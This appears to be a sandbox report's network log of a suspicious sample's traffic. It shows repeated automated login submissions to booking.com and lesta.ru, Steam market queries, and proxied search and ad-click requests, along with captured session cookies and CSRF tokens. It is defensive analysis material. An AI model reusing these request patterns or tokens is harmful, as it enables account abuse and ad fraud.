Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFARWZ7HVla9ArvQhXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=36&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227097&ltv_c=5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 80User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWl0K2NoYW5nZSttYW5hZ2VtZW50K2NvdXJzZSZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAABOW8XqM2ptstrhQyhrjpfodSJMJQGWDmOwD-4uTno33Lkq2_wanfA2TtsTgNwkmaZM_BVhcPEv4-ILPvdIXMtGElX0Q9pD3E1HzZ8AKo3c5CB2R8ukfzyBd3j94wZSNW5dRldM1YOpwvsbQ2fWwVzBpoJsejoIDZXTsCWe19OoH HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgABCAE0d2WpZdww0iMAAiAAAAcIgOx1Zak4Z0M&S=AQAAAp4r2me-M_AzJlb8T2To24Y; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgABCAE0d2WpZdww0iMAAiAAAAcIgOx1Zak4Z0M&S=AQAAAp4r2me-M_AzJlb8T2To24Y; GUCS=ASDNZaj0; GUC=AQABCAFldzRlqUIfNQRq&s=AQAAAOc67Niz&g=ZXXspg; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAAReferer: https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&lang=en-GBAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=%22iBUYPOWER%20%28Holo%29%20%7C%20Katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 78User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: POST /id/signin/process/?type=captcha HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3V; wgni_sessionid=ryasm481hjm1buk4zielaytt0s4clcn4User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.77 YaBrowser/20.11.0.821 Yowser/2.5 Safari/537.36Content-Length: 118Content-Type: application/x-www-form-urlencodedaccept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://lesta.ru/id/signin/x-csrftoken: TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3Vx-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEaSSe7HVlefErW21LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=64&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227102&ltv_c=9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 76User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNZ72g7HVlnQYrC0hXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=43&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227104&ltv_c=6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 85User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrigfWn7HVlNtgqnCdLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=71&pz=7&pstart=8 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227111&ltv_c=10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3V; wgni_sessionid=ryasm481hjm1buk4zielaytt0s4clcn4User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Client/3.0.97/AuthCheck Safari/537.22
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.106accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 76User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFcoiq7HVl.0ksASZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=50&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227114&ltv_c=7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.yahoo.com:443 HTTP/1.1Host: www.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.google.com:443 HTTP/1.1Host: www.google.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.google.com:443 HTTP/1.1Host: www.google.com:443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.googleadservices.com:443 HTTP/1.1Host: www.googleadservices.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT ad.doubleclick.net:443 HTTP/1.1Host: ad.doubleclick.net:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.botoxchronicmigraine.com:443 HTTP/1.1Host: www.botoxchronicmigraine.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT search.yahoo.com:443 HTTP/1.1Host: search.yahoo.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.google.com:443 HTTP/1.1Host: www.google.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT www.googleadservices.com:443 HTTP/1.1Host: www.googleadservices.com:443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Proxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET http://www.google.com/ncr HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ncr HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateConnection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET http://www.google.com/ HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16Referer: http://www.google.com/ncrAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateConnection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16Referer: http://www.google.com/ncrAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET http://derickdermatology.reachlocal.com/?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F HTTP/1.1Host: derickdermatology.reachlocal.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F HTTP/1.1Host: derickdermatology.reachlocal.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateConnection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: CONNECT www.bing.com:443 HTTP/1.1Host: www.bing.com:443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0Proxy-Connection: Keep-Alive
